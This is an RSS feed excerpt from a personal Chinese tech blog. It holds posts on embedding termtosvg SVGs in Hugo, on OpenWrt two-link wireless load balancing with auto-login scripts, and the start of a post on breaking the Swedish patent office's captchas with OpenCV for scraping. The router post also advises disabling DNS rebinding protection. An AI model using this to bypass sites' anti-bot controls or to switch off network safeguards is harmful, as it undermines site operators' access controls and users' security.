<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-shell" data-lang="shell"><span class="line"><span class="ln">1</span><span class="cl">termtosvg ./A_MYSTERY_STORY.svg -c <span class="s1">&#39;./A_MYSTERY_STORY.sh&#39;</span> -D <span class="m">5000</span> -g 85x35 -m <span class="m">200</span> -t window_frame_js</span></span></code></pre></div><p>不过在你录制的时候，可能需要修改下里面的参数。具体参数的含义可以直接参考他们 Github repo 里的文档。</p>
<p>需要额外指出的是，<code>-m</code> 这个参数非常重要。它代表最短帧的时长，默认为 1 毫秒。对于我们这里动画的需求，最短帧完全可以设置到比较大的 200 毫秒之类的数值，这样可以大大减小最终 SVG 文件的大小（我的例子是从 800+ KB 减到 300+ KB），可以提升最后渲染的性能。</p>
<h2 id="把-svg-内嵌在-hugo-博客中">把 SVG 内嵌在 Hugo 博客中</h2>
<p>我博客框架用的是 <a href="https://gohugo.io/">Hugo</a>，所以我只研究了怎么在 Hugo 中内嵌 SVG 动画。</p>
<p>参考文章：<a href="https://discourse.gohugo.io/t/embedding-inline-svg-in-content-markdown/7511/7">https://discourse.gohugo.io/t/embedding-inline-svg-in-content-markdown/7511/7</a></p>
<p>相关文档：<a href="https://gohugo.io/functions/readfile/">https://gohugo.io/functions/readfile/</a>，<a href="https://gohugo.io/content-management/shortcodes/">https://gohugo.io/content-management/shortcodes/</a></p>
<p>我的方案对上面那个回答做了些修改。首先在你网站的根目录 <code>$HUGO_SITE</code> 下创建文件夹 <code>$HUGO_SITE/layouts/shortcodes</code>。在文件夹中新建一个文件 <code>svg.html</code>，然后在里面输入以下内容：</p>





<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-html" data-lang="html"><span class="line"><span class="ln">1</span><span class="cl"><span class="p">&lt;</span><span class="nt">figure</span> <span class="na">align</span><span class="o">=</span><span class="s">&#34;center&#34;</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="ln">2</span><span class="cl">{{ readFile (index .Params 0) | safeHTML }}
</span></span><span class="line"><span class="ln">3</span><span class="cl"><span class="p">&lt;/</span><span class="nt">figure</span><span class="p">&gt;</span></span></span></code></pre></div><p>然后你就可以在你的 Markdown 文件中这样引用你的 SVG 文件了：</p>





<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-html" data-lang="html"><span class="line"><span class="ln">1</span><span class="cl">{{<span class="p">&lt;</span> <span class="nt">svg</span> <span class="err">&#34;</span><span class="na">svg</span><span class="err">/</span><span class="na">A_MYSTERY_STORY</span><span class="err">.</span><span class="na">svg</span><span class="err">&#34;</span> <span class="p">&gt;</span>}}</span></span></code></pre></div><p>双引号里面的是 SVG 文件相对网站根目录的路径。这里我把 SVG 文件放在了 <code>$HUGO_SITE/svg/A_MYSTERY_STORY.svg</code>，你当然可以选择别的地方。需要注意的是，SVG 文件本身不需要在网站编译的时候被拷到 <code>$HUGO_SITE/public</code> 目录下，因为 SVG 文件的内容是被直接内嵌到最终生成的 HTML 文件中的。</p>
<p>直接生成的 SVG 文件的大小是写死像素的，可以到 SVG 文件的第一行把 <code>width=&quot;***&quot;</code> 中的数字替换成百分比。</p>
<p>最终成果可以参考这个页面：<a href="/demo/a-mystery-story">A MYSTERY STORY</a></p>
]]></content:encoded>
    </item>
    <item>
      <title>无线双拨</title>
      <link>https://sttev.com/posts/25-wireless-multiwan/</link>
      <pubDate>Wed, 06 Nov 2019 12:00:00 +0800</pubDate><author>steve@sttev.com (SteveHawk)</author>
      <guid>https://sttev.com/posts/25-wireless-multiwan/</guid>
      <description>&lt;h2 id=&#34;目标&#34;&gt;目标&lt;/h2&gt;&#xA;&lt;p&gt;在我宿舍里，有无线校园网覆盖，校园网两个频段的 SSID 分别为 &lt;code&gt;SUDA_WIFI&lt;/code&gt;（2.4 GHz），以及 &lt;code&gt;SUDA_WIFI_5G&lt;/code&gt;（5 GHz）。在晚高峰时段，网络会存在 QoS 限流。参考家庭宽带的双拨操作，我想要在路由器上实现类似的多路无线中继以提升网速。&lt;/p&gt;</description>
      <content:encoded><![CDATA[<h2 id="目标">目标</h2>
<p>在我宿舍里，有无线校园网覆盖，校园网两个频段的 SSID 分别为 <code>SUDA_WIFI</code>（2.4 GHz），以及 <code>SUDA_WIFI_5G</code>（5 GHz）。在晚高峰时段，网络会存在 QoS 限流。参考家庭宽带的双拨操作，我想要在路由器上实现类似的多路无线中继以提升网速。</p>
<p>标题所述的无线双拨其实并非准确，无线中继和拨号没有任何关系。准确的叫法应该是<strong>双路/多路无线中继负载均衡</strong>，然而出于简洁和好听的目的，就用<strong>无线双拨/多拨</strong>这个名字好了。</p>
<h2 id="准备--前情提要">准备 &amp; 前情提要</h2>
<p>关于前情提要，可以参考我去年写的一篇博客：<a href="/posts/05-mi-router-nas/">小米路由器mini 自制NAS</a>。在这篇博客中，我使用一台小米路由器 mini，刷上 PandoraBox 系统以后实现各种骚操作。</p>
<h3 id="硬件">硬件</h3>
<p>一台小米路由器 mini。官网参数说明：<a href="https://www.mi.com/miwifimini/param">https://www.mi.com/miwifimini/param</a> 。OpenWrt 设备页面：<a href="https://openwrt.org/toh/xiaomi/mini">https://openwrt.org/toh/xiaomi/mini</a> 。</p>
<p>简单总结：</p>
<ol>
<li>联发科 MT7620A 处理器</li>
<li>16 MB ROM，128 MB RAM</li>
<li>2.4 GHz 以及 5 GHz 天线均为 2*2 MIMO</li>
<li>WAN * 1，LAN * 2，USB 2.0 * 1</li>
</ol>
<h3 id="固件">固件</h3>
<p>由于在 PandoraBox 中，无线中继存在 bug（参考博客 <a href="/posts/05-mi-router-nas/">小米路由器mini 自制NAS</a>），因此这次准备采用更加开放的 <a href="https://openwrt.org/">OpenWrt</a> 系统。在官网下载固件，链接：</p>
<blockquote>
<p>稳定版（18.06.4）：<a href="https://downloads.openwrt.org/releases/18.06.4/targets/ramips/mt7620/">https://downloads.openwrt.org/releases/18.06.4/targets/ramips/mt7620/</a></p>
<p>开发预览版：<a href="https://downloads.openwrt.org/snapshots/targets/ramips/mt7620/">https://downloads.openwrt.org/snapshots/targets/ramips/mt7620/</a></p>
</blockquote>
<p>在页面中找到 <code>miwifi-mini-squashfs-sysupgrade.bin</code> 或是 <code>xiaomi_miwifi-mini-squashfs-sysupgrade.bin</code>，下载固件并上传到路由器。由于我在稳定版中遇到了某些奇怪的 bug，故采用了开发预览版。</p>
<p>刷机流程可以参考 OpenWrt 上的<a href="https://openwrt.org/toh/xiaomi/mini">设备页面</a>，这里提供简单总结：</p>
<p><em>（如果是原生固件的话，首先需要使用小米官方工具解锁 SSH 权限，详情参考博客 <a href="/posts/05-mi-router-nas/">小米路由器mini 自制NAS</a>）</em></p>
<p>首先确定固件所在分区名。使用指令 <code>cat /proc/mtd</code> 可以查看所有分区的名字。在我的设备上，小米原生系统的固件分区名为 <code>OS1</code>，PandoraBox 和 OpenWrt 的固件分区名为 <code>firmware</code>。</p>
<p>因此，原生固件刷 PandoraBox / OpenWrt 的指令为：</p>
<blockquote>
<p><code>mtd -r write /path/to/the/firmware.bin OS1</code></p>
</blockquote>
<p>PandoraBox / OpenWrt 互刷指令：</p>
<blockquote>
<p><code>mtd -r write /path/to/the/firmware.bin firmware</code></p>
</blockquote>
<p>如果系统保持不变，则可以直接使用 LuCI 网页管理界面升级。</p>
<p><em>注：PandoraBox 刷机/重置完成后默认打开 WIFI，而 OpenWrt 默认不启用 WIFI，记得准备网线。</em></p>
<h3 id="软件">软件</h3>
<p>需要安装的软件包：</p>
<ol>
<li>luci
luci-i18n-base-zh-cn
luci-theme-material</li>
<li>mwan3
luci-app-mwan3
luci-i18n-mwan3-zh-cn</li>
<li>coreutils-base64
curl</li>
</ol>
<p>第一组是基础软件包，分别是网页管理界面 luci，中文语言包和 material 主题。预览版系统并不内置 luci，需要自行安装。</p>
<p>第二组是负载均衡所需的 mwan3，以及 luci 中的 mwan3 管理界面。</p>
<p>第三组是自动网关登录脚本的依赖，按需安装。</p>
<h2 id="双路无线中继负载均衡">双路无线中继负载均衡</h2>
<h3 id="无线中继">无线中继</h3>
<p>无线中继的方法在博客 <a href="/posts/05-mi-router-nas/">小米路由器mini 自制NAS</a> 中已经有过说明。由于两张网卡均为 2*2 MIMO，因此无法对单个频段做多路中继，只能在两张网卡上分别中继一路信号。假如有支持更多 MIMO 的网卡，可以试着更多路的无线中继。</p>
<p>流程总结：</p>
<ol>
<li>在 <code>无线</code> 选项卡中，分别在 2.4 GHz 和 5 GHz 网卡上点击添加，在无线列表中加入对应的网络。这个操作会新建一个网卡，<code>防火墙区域</code> 需要选在 wan 网卡所在的区域。<code>重置无线配置</code> 选项勾选的话会删除现有的 WIFI，如有需要可以勾选。</li>
<li>在 <code>基本设置</code> 选项卡中确保模式为 <code>客户端 Client</code> 模式，在 <code>无线安全</code> 选项卡中设置好网络的账号密码。信号的发射功率上限可以通过 <code>高级设置</code> 中把国家代码设置成 US 来提升。</li>
<li>分别在 2.4 GHz 和 5 GHz 网卡中添加新的 WIFI，确保模式为 <code>接入点 AP</code>。当然，如果没有 2.4 GHz 频段的需要的话，也可以只使用 5 GHz 的网络避免信道拥挤。（如果第一步没有删除之前存在的网络，则不用再做这一步）</li>
<li>至于 IPv6 的中继，需要在网卡里另外手动添加 DHCPv6 客户端以接通 IPv6 上游。然而我校校园网的 IPv6 分配策略貌似是一个设备只分配一个地址，而非 DHCP-PD，NDP 代理也不起作用，因此中继 IPv6 唯一的方法是丑陋的 NATv6。不过 IPv6 目前还并非刚需，用 NAT6 还不如不用。</li>
<li>这时候你应该已经能够上网了。当然，只要有一张网卡已经加入无线网络，所有的 LAN 口 / WIFI 就都能够访问网络了。当设置两张网卡都进行无线中继的时候，网络流量会走哪个无线就取决于路由表了。由于不清楚固件底层的实现，路由器会使用哪个无线网络在我看来基本是个玄学。但这不重要，马上就来解决。</li>
</ol>
<h3 id="负载均衡">负载均衡</h3>
<p>在两张网卡都加入无线网络后，就可以使用 mwan3 进行负载均衡了。进入 <code>网络 -&gt; 负载均衡</code> 选项卡进行设置。在这底下一共有 6 个选项卡，我们一个一个来设置。</p>
<ol>
<li><code>全局</code>。这个不用动，跳过即可。</li>
<li><code>接口</code>。这里添加的是所有参与负载均衡的网络接口。我在设置无线中继的时候，<code>SUDA_WIFI</code> 对应的网络接口名为 <code>wwan24</code>，<code>SUDA_WIFI_5G</code> 对应的网络接口名为 <code>wwan</code>，因此需要把 <code>wwan</code> 和 <code>wwan24</code> 添加到这里。配置中需要设置 <code>跟踪的主机或 IP 地址</code>，也就是用来检测网络是否可用的地址，可以设置成公共 DNS。mwan3 会自动每隔一段时间 ping 一下这一个或多个地址，在失败一定次数（可以自行设置该参数）后认为接口离线。
<img src="../wireless-multiwan.assets/interface.png" alt="interface"></li>
<li><code>成员</code>。这里设置的是每个接口的权重。权重分为两种，一个叫做 <code>跃点数</code>，另一个叫做 <code>比重</code>。权重的计算规则为， “拥有较低跃点数的成员将会被优先使用，拥有相同跃点数的成员把流量进行负载均衡”。这里，我们想要的是两个接口做负载均衡，因此都把跃点数设置为 1，而比重分别设置为 1 和 3（更多的流量分给比较快一点的 <code>SUDA_WIFI_5G</code>）。
<img src="../wireless-multiwan.assets/member.png" alt="member"></li>
<li><code>策略</code>。这里是负载均衡的策略，用于对接口成员进行分组。由于这里只需要对两个接口做负载均衡，因此只需要一条策略，把两个接口成员添加进去即可。
<img src="../wireless-multiwan.assets/policy.png" alt="policy"></li>
<li><code>规则</code>。这里用于指定哪些流量使用哪些策略。我们并没有这些需求，因此简单把所有流量都转发到刚刚那条策略即可。如果有特定流量需求的则可以在这里设置。
<img src="../wireless-multiwan.assets/rule.png" alt="rule"></li>
<li><code>通知</code>。在这里可以编写一个自定义脚本 <code>/etc/mwan3.user</code>，用于指定特定接口事件时的操作。我们可以利用这个脚本做自动接口登录，详见<a href="#%E6%8E%A5%E5%8F%A3%E4%B8%8B%E7%BA%BF%E4%BA%8B%E4%BB%B6">下文</a>。</li>
</ol>
<p>完成这一系列设置后，我们的网络就成功进行了多线负载均衡。可以进入到 <code>状态 -&gt; 负载均衡</code> 选项卡查看当前接口状态，流量分配情况，以及进行网络诊断。另外，也可以根据 <code>网络 -&gt; 接口</code> 页面中各个接口的流量来判断负载均衡是否在正常运作。</p>
<p>对于更详细的配置说明，可以参考官方文档：<a href="https://openwrt.org/docs/guide-user/network/wan/multiwan/mwan3">https://openwrt.org/docs/guide-user/network/wan/multiwan/mwan3</a> 。</p>
<h2 id="自动任务">自动任务</h2>
<h3 id="开机脚本">开机脚本</h3>
<p>在 <code>系统 -&gt; 启动项 -&gt; 本地启动脚本</code> 中可以设置启动脚本。我想要的是每次开机都自动向网关发送一个登录请求，因此在启动脚本中添加以下指令：</p>





<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-shell" data-lang="shell"><span class="line"><span class="ln">1</span><span class="cl">sleep <span class="m">30</span> <span class="o">&amp;&amp;</span> /root/wg-login.sh</span></span></code></pre></div><p>每次开机都会等待 30 秒，等待网络设备就绪后执行登录脚本。</p>
<p>登录脚本可以参考该 GitHub 项目：<a href="https://github.com/SteveHawk/suda-wg">https://github.com/SteveHawk/suda-wg</a> 。</p>
<h3 id="计划任务">计划任务</h3>
<p>在 <code>系统 -&gt; 计划任务</code> 中可以轻松编辑 crontab 中的计划任务。</p>





<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-shell" data-lang="shell"><span class="line"><span class="ln">1</span><span class="cl"><span class="c1"># Login suda wifi at 27min of every hour</span>
</span></span><span class="line"><span class="ln">2</span><span class="cl"><span class="m">27</span> * * * * /root/wg-login.sh
</span></span><span class="line"><span class="ln">3</span><span class="cl">
</span></span><span class="line"><span class="ln">4</span><span class="cl"><span class="c1"># Reboot at 3:33am every day</span>
</span></span><span class="line"><span class="ln">5</span><span class="cl"><span class="c1"># Note: To avoid infinite reboot loop, wait 70 seconds and touch a file</span>
</span></span><span class="line"><span class="ln">6</span><span class="cl"><span class="c1"># in /etc so clock will be set properly to 3:34 on reboot before cron starts.</span>
</span></span><span class="line"><span class="ln">7</span><span class="cl"><span class="m">33</span> <span class="m">3</span> * * * sleep <span class="m">70</span> <span class="o">&amp;&amp;</span> touch /etc/banner <span class="o">&amp;&amp;</span> reboot</span></span></code></pre></div><p>两个计划任务，分别是每小时 27 分登录一次网关，以及每天 3：33 重启路由器。为了避免重启死循环，需要使用如上这样的重启指令。</p>
<p>不过我已经禁用了自动登录任务，因为它可以由接下来这个更好的方案来取代。</p>
<h3 id="接口下线事件">接口下线事件</h3>
<p>仔细想想，登录网关这事情完全没必要每个小时执行一次，只需要在检测到接口下线的时候发送登录请求不就行了嘛。mwan3 的 <code>通知</code> 功能就正好可以用来实现这个目的。</p>
<p>通知页面的这个脚本 <code>/etc/mwan3.user</code> 会在 netifd hotplug 接口事件时执行。换句话说，任何一个接口上线 / 下线事件都会触发这个脚本执行一次。这个功能的本意是用来在接口上线 / 下线的时候给用户发送邮件等提醒，不过我们也可以拿来做自动网关登录。</p>
<p>脚本能够获取到三个环境变量，分别是 <code>$ACTION</code>，<code>$INTERFACE</code> 和 <code>$DEVICE</code>。<code>$ACTION</code> 共有四种值，分别是 <code>ifup</code>，<code>ifdown</code>，<code>connected</code>，<code>disconnected</code>。而 <code>$INTERFACE</code> 和 <code>$DEVICE</code> 可以分别用来获得当前触发脚本的接口和设备名。</p>
<p>利用这几个环境变量，可以编写出如下脚本：</p>





<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-shell" data-lang="shell"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="cp">#!/bin/sh
</span></span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="c1">#</span>
</span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="c1"># This file is interpreted as shell script.</span>
</span></span><span class="line"><span class="ln"> 4</span><span class="cl"><span class="c1"># Put your custom mwan3 action here, they will</span>
</span></span><span class="line"><span class="ln"> 5</span><span class="cl"><span class="c1"># be executed with each netifd hotplug interface event</span>
</span></span><span class="line"><span class="ln"> 6</span><span class="cl"><span class="c1"># on interfaces for which mwan3 is enabled.</span>
</span></span><span class="line"><span class="ln"> 7</span><span class="cl"><span class="c1">#</span>
</span></span><span class="line"><span class="ln"> 8</span><span class="cl"><span class="c1"># There are three main environment variables that are passed to this script.</span>
</span></span><span class="line"><span class="ln"> 9</span><span class="cl"><span class="c1">#</span>
</span></span><span class="line"><span class="ln">10</span><span class="cl"><span class="c1"># $ACTION</span>
</span></span><span class="line"><span class="ln">11</span><span class="cl"><span class="c1">#      &lt;ifup&gt;         Is called by netifd and mwan3track</span>
</span></span><span class="line"><span class="ln">12</span><span class="cl"><span class="c1">#      &lt;ifdown&gt;       Is called by netifd and mwan3track</span>
</span></span><span class="line"><span class="ln">13</span><span class="cl"><span class="c1">#      &lt;connected&gt;    Is only called by mwan3track if tracking was successful</span>
</span></span><span class="line"><span class="ln">14</span><span class="cl"><span class="c1">#      &lt;disconnected&gt; Is only called by mwan3track if tracking has failed</span>
</span></span><span class="line"><span class="ln">15</span><span class="cl"><span class="c1"># $INTERFACE    Name of the interface which went up or down (e.g. &#34;wan&#34; or &#34;wwan&#34;)</span>
</span></span><span class="line"><span class="ln">16</span><span class="cl"><span class="c1"># $DEVICE       Physical device name which interface went up or down (e.g. &#34;eth0&#34; or &#34;wwan0&#34;)</span>
</span></span><span class="line"><span class="ln">17</span><span class="cl">
</span></span><span class="line"><span class="ln">18</span><span class="cl"><span class="k">if</span> <span class="o">[</span> <span class="nv">$ACTION</span> <span class="o">==</span> <span class="s2">&#34;disconnected&#34;</span> <span class="o">]</span>
</span></span><span class="line"><span class="ln">19</span><span class="cl"><span class="k">then</span>
</span></span><span class="line"><span class="ln">20</span><span class="cl">    <span class="k">if</span> <span class="o">[</span> <span class="nv">$INTERFACE</span> <span class="o">==</span> <span class="s2">&#34;wwan&#34;</span> <span class="o">]</span>
</span></span><span class="line"><span class="ln">21</span><span class="cl">    <span class="k">then</span>
</span></span><span class="line"><span class="ln">22</span><span class="cl">        mwan3 ifdown wwan24
</span></span><span class="line"><span class="ln">23</span><span class="cl">        mwan3 ifup wwan
</span></span><span class="line"><span class="ln">24</span><span class="cl">        <span class="nb">source</span> /root/wg-login.sh
</span></span><span class="line"><span class="ln">25</span><span class="cl">        logger <span class="s2">&#34;Interface wwan execute login.&#34;</span>
</span></span><span class="line"><span class="ln">26</span><span class="cl">    <span class="k">elif</span> <span class="o">[</span> <span class="nv">$INTERFACE</span> <span class="o">==</span> <span class="s2">&#34;wwan24&#34;</span> <span class="o">]</span>
</span></span><span class="line"><span class="ln">27</span><span class="cl">    <span class="k">then</span>
</span></span><span class="line"><span class="ln">28</span><span class="cl">        mwan3 ifdown wwan
</span></span><span class="line"><span class="ln">29</span><span class="cl">        mwan3 ifup wwan24
</span></span><span class="line"><span class="ln">30</span><span class="cl">        <span class="nb">source</span> /root/wg-login.sh
</span></span><span class="line"><span class="ln">31</span><span class="cl">        logger <span class="s2">&#34;Interface wwan24 execute login.&#34;</span>
</span></span><span class="line"><span class="ln">32</span><span class="cl">    <span class="k">fi</span>
</span></span><span class="line"><span class="ln">33</span><span class="cl">    mwan3 ifup wwan
</span></span><span class="line"><span class="ln">34</span><span class="cl">    mwan3 ifup wwan24
</span></span><span class="line"><span class="ln">35</span><span class="cl"><span class="k">fi</span></span></span></code></pre></div><p>我们想要做的事情，是在每次接口下线的时候，向这个接口发送网关登录请求。但是由于接口下线事件触发的时候，mwan3 会自动把路由表导向另一个在线的接口，这让我们无法把登录请求发向已下线的接口。所以我在这个脚本里做的，就是在一个接口下线的时候，先手动让另一个接口下线并让当前接口上线，这个时候路由表就会指向实际下线的这个接口；此时顺势发送网关登录请求，然后再让两个接口恢复上线。</p>
<p>于是，在任何一个接口下线的时候，路由器都会自动发送登录请求让它重新上线。只要不是触发了网关的保护措施（我校网关貌似有连接时长限制，超时不会断开，但是会没网），我的路由器就可以轻松实现 24 小时在线啦。</p>
<h2 id="dns-重绑定攻击の坑">DNS 重绑定攻击の坑</h2>
<p>最后，需要提一嘴踩到的一个坑。先来讲讲发生了什么。在刷完 OpenWrt 并做完单路无线中继后，我试着访问校园网网关的页面，但是怎么也上不去。到系统日志里翻看了一下，出现了非常可疑的记录：</p>





<pre tabindex="0"><code class="language-log" data-lang="log">daemon.warn dnsmasq[904]: possible DNS-rebind attack detected</code></pre><p>欸，什么是 <a href="https://zh.wikipedia.org/wiki/DNS%E9%87%8D%E6%96%B0%E7%BB%91%E5%AE%9A%E6%94%BB%E5%87%BB">DNS 重绑定攻击</a>（<a href="https://en.wikipedia.org/wiki/DNS_rebinding">DNS rebinding attack</a>）？</p>
<p>简单来说，在执行 DNS 重绑定攻击的时候，攻击者先会向用户发送一个 TTL 非常短的解析记录，解析到包含恶意代码的网站上。恶意代码执行后会创建第二个 DNS 请求（因为上一个记录的缓存已经超时），这时攻击者可以返回一个内网 IP 的解析记录。这样攻击者就可以轻松访问到原本无法访问的内网内容了。</p>
<p>为什么我会踩到这个坑？我们来仔细看一下 DNS 重绑定攻击的流程，其中有两个可以填的漏洞，一个是超短 TTL 的 DNS 记录，另一个是解析到内网 IP 的 DNS 记录。超短 TTL DNS 记录的防护可能在浏览器端进行会比较好，而路由器端能做的就是拦截解析到内网 IP 的 DNS 记录。</p>
<p>巧的是，我校校园网网关地址 <code>a.suda.edu.cn</code> 解析得到的地址是 <code>10.9.0.30</code>，这是一个 A 类的内网 IP 地址。真相大白。</p>
<p>解决方案有两种，一个是给域名添加白名单，另一个是禁用防护。因为我们校园网内不止一个内网网站，因此直接禁用防护是更好的选择。在 <code>网络 -&gt; DHCP/DNS -&gt; 基本设置</code> 选项卡中，可以看到有一个 <code>重绑定保护</code> 的选项。取消勾选即可。</p>
<hr>
<p>至此，整个路由器的配置就完成了。能够 24 小时在线，不必每个设备都手动登录网关，还有双路负载均衡，这也太爽了！&#x1f60d;</p>
]]></content:encoded>
    </item>
    <item>
      <title>SE 验证码识别</title>
      <link>https://sttev.com/posts/24-se-captcha/</link>
      <pubDate>Tue, 29 Oct 2019 12:00:00 +0800</pubDate><author>steve@sttev.com (SteveHawk)</author>
      <guid>https://sttev.com/posts/24-se-captcha/</guid>
      <description>&lt;h2 id=&#34;目标&#34;&gt;目标&lt;/h2&gt;&#xA;&lt;p&gt;在爬取瑞典专利和注册局（PRV，代码 SE）的&lt;a href=&#34;https://was.prv.se/spd&#34;&gt;专利数据库&lt;/a&gt;数据的时候，存在输入验证码的步骤，需要编写程序来识别。以下是几张示例：&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;../SE-captcha.assets/captcha-example-1.jpg&#34; alt=&#34;captcha-example-1&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;../SE-captcha.assets/captcha-example-2.jpg&#34; alt=&#34;captcha-example-2&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;../SE-captcha.assets/captcha-example-3.jpg&#34; alt=&#34;captcha-example-3&#34;&gt;&lt;/p&gt;&#xA;&lt;h2 id=&#34;难点&#34;&gt;难点&lt;/h2&gt;&#xA;&lt;p&gt;这次要识别的验证码的特点：&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;背景特别干净，没有任何噪声&lt;/li&gt;&#xA;&lt;li&gt;字符本身的扭曲变形非常厉害&lt;/li&gt;&#xA;&lt;li&gt;存在多种字体，包括多种衬线和非衬线字体&lt;/li&gt;&#xA;&lt;li&gt;所有英文字母都是小写&lt;/li&gt;&#xA;&lt;li&gt;字符旋转的角度不会超过 ±90°&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;没有噪声是好事，这意味着不需要做任何降噪相关的处理。但是字符的变形扭曲要远远比一般见到的验证码厉害得多，甚至有的例子中人眼也难以分辨到底是什么字母。&lt;/p&gt;</description>
      <content:encoded><![CDATA[<h2 id="目标">目标</h2>
<p>在爬取瑞典专利和注册局（PRV，代码 SE）的<a href="https://was.prv.se/spd">专利数据库</a>数据的时候，存在输入验证码的步骤，需要编写程序来识别。以下是几张示例：</p>
<p><img src="../SE-captcha.assets/captcha-example-1.jpg" alt="captcha-example-1"></p>
<p><img src="../SE-captcha.assets/captcha-example-2.jpg" alt="captcha-example-2"></p>
<p><img src="../SE-captcha.assets/captcha-example-3.jpg" alt="captcha-example-3"></p>
<h2 id="难点">难点</h2>
<p>这次要识别的验证码的特点：</p>
<ol>
<li>背景特别干净，没有任何噪声</li>
<li>字符本身的扭曲变形非常厉害</li>
<li>存在多种字体，包括多种衬线和非衬线字体</li>
<li>所有英文字母都是小写</li>
<li>字符旋转的角度不会超过 ±90°</li>
</ol>
<p>没有噪声是好事，这意味着不需要做任何降噪相关的处理。但是字符的变形扭曲要远远比一般见到的验证码厉害得多，甚至有的例子中人眼也难以分辨到底是什么字母。</p>
<p>扭曲的特别厉害的一张：</p>
<p><img src="../SE-captcha.assets/captcha-example-bad.jpg" alt="captcha-example-bad"></p>
<p>容易看出，这一批验证码的生成规则都是把对应的文字从左到右排列，然后按照一个随机的曲线和宽度进行扭曲。在曲线曲率较大的地方，字符就容易出现非常大的扭曲变形，从而难以辨认。因此，如何进行形态矫正是一个非常大的考验。</p>
<p>多种字体也是一个挑战。在一些衬线字体中，<code>1</code> 和 <code>l</code> 的样子完全一致，仅仅是有微小的高度差别，这为识别造成了很大的麻烦。幸亏只有小写，不然会有更多容易混淆的情况。</p>
<p>另外，还有一个隐藏的特点。仔细看的话，你会发现之前第一张示例图片和这一张示例图片其实是同一个验证码，都是 <code>t3st1n</code>。写爬虫的小哥告诉我，同一个 IP 貌似返回的是同样的验证码文字，也就是说验证码文字的生成不是完全随机，而是包含 IP 的某种哈希。反向推导这个生成算法可能不太现实，但是至少可以通过多张同样内容的验证码一起识别交叉验证，提高准确性。可惜的是爬虫使用的是代理池，IP 会不受控制的变化，因此这条路就难以进行下去，只能尽量一发入魂了。</p>
<h2 id="传统方法">传统方法</h2>
<p>首先，试一试传统的数字图像处理方法。能够想到的方法，无非就是先对每个字符的图像进行校准，然后去试着识别是哪个字符，最后再拼起来。以下是我想要采取的流程：</p>
<ol>
<li>把排列成曲线的字符矫正回直线</li>
<li>提取字符，做必要的矫正和处理</li>
<li>匹配内容</li>
</ol>
<h3 id="曲线矫正">曲线矫正</h3>
<p>首先尝试做曲线矫正。这一步我在实际开发的时候并没有做，原因在于难以对字符扭曲形成的曲线进行建模并矫正。项目结束以后我才想到，其实可以试试用 numpy 或者 scipy 去做曲线拟合，获得曲线方程以后大概就可以生成变换矩阵矫正形变了。不过项目已经结束了，以后如果有类似的需求可以再试一试。</p>
<h3 id="字符提取">字符提取</h3>
<p>于是我上来就直接对单个字符进行提取了。下面我用于在一张图片中提取字符的函数，参数列表：img 是 <code>cv2.imread()</code> 返回的图片对象；reverse_color 是一个布尔值，代表是否反转颜色；iter 是一个整数（默认为 2），代表第一次膨胀的迭代次数。</p>





<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="kn">import</span> <span class="nn">cv2</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="kn">import</span> <span class="nn">numpy</span> <span class="k">as</span> <span class="nn">np</span>
</span></span><span class="line"><span class="ln"> 3</span><span class="cl">
</span></span><span class="line"><span class="ln"> 4</span><span class="cl">
</span></span><span class="line"><span class="ln"> 5</span><span class="cl"><span class="k">def</span> <span class="nf">extract_char</span><span class="p">(</span><span class="n">img</span><span class="p">,</span> <span class="n">reverse_color</span><span class="p">,</span> <span class="nb">iter</span><span class="o">=</span><span class="mi">2</span><span class="p">):</span>
</span></span><span class="line"><span class="ln"> 6</span><span class="cl">    <span class="c1"># Binary, dilation</span>
</span></span><span class="line"><span class="ln"> 7</span><span class="cl">    <span class="k">if</span> <span class="n">reverse_color</span><span class="p">:</span>
</span></span><span class="line"><span class="ln"> 8</span><span class="cl">        <span class="n">_</span><span class="p">,</span> <span class="n">binary</span> <span class="o">=</span> <span class="n">cv2</span><span class="o">.</span><span class="n">threshold</span><span class="p">(</span><span class="n">img</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">255</span><span class="p">,</span> <span class="n">cv2</span><span class="o">.</span><span class="n">THRESH_OTSU</span> <span class="o">+</span> <span class="n">cv2</span><span class="o">.</span><span class="n">THRESH_BINARY_INV</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 9</span><span class="cl">    <span class="k">else</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">10</span><span class="cl">        <span class="n">_</span><span class="p">,</span> <span class="n">binary</span> <span class="o">=</span> <span class="n">cv2</span><span class="o">.</span><span class="n">threshold</span><span class="p">(</span><span class="n">img</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">255</span><span class="p">,</span> <span class="n">cv2</span><span class="o">.</span><span class="n">THRESH_OTSU</span> <span class="o">+</span> <span class="n">cv2</span><span class="o">.</span><span class="n">THRESH_BINARY</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">11</span><span class="cl">    <span class="n">kernel</span> <span class="o">=</span> <span class="n">np</span><span class="o">.</span><span class="n">ones</span><span class="p">((</span><span class="mi">3</span><span class="p">,</span> <span class="mi">3</span><span class="p">),</span> <span class="n">np</span><span class="o">.</span><span class="n">uint8</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">12</span><span class="cl">    <span class="n">dilation</span> <span class="o">=</span> <span class="n">cv2</span><span class="o">.</span><span class="n">dilate</span><span class="p">(</span><span class="n">binary</span><span class="p">,</span> <span class="n">kernel</span><span class="p">,</span> <span class="n">iterations</span><span class="o">=</span><span class="nb">iter</span><span class="p">)</span>
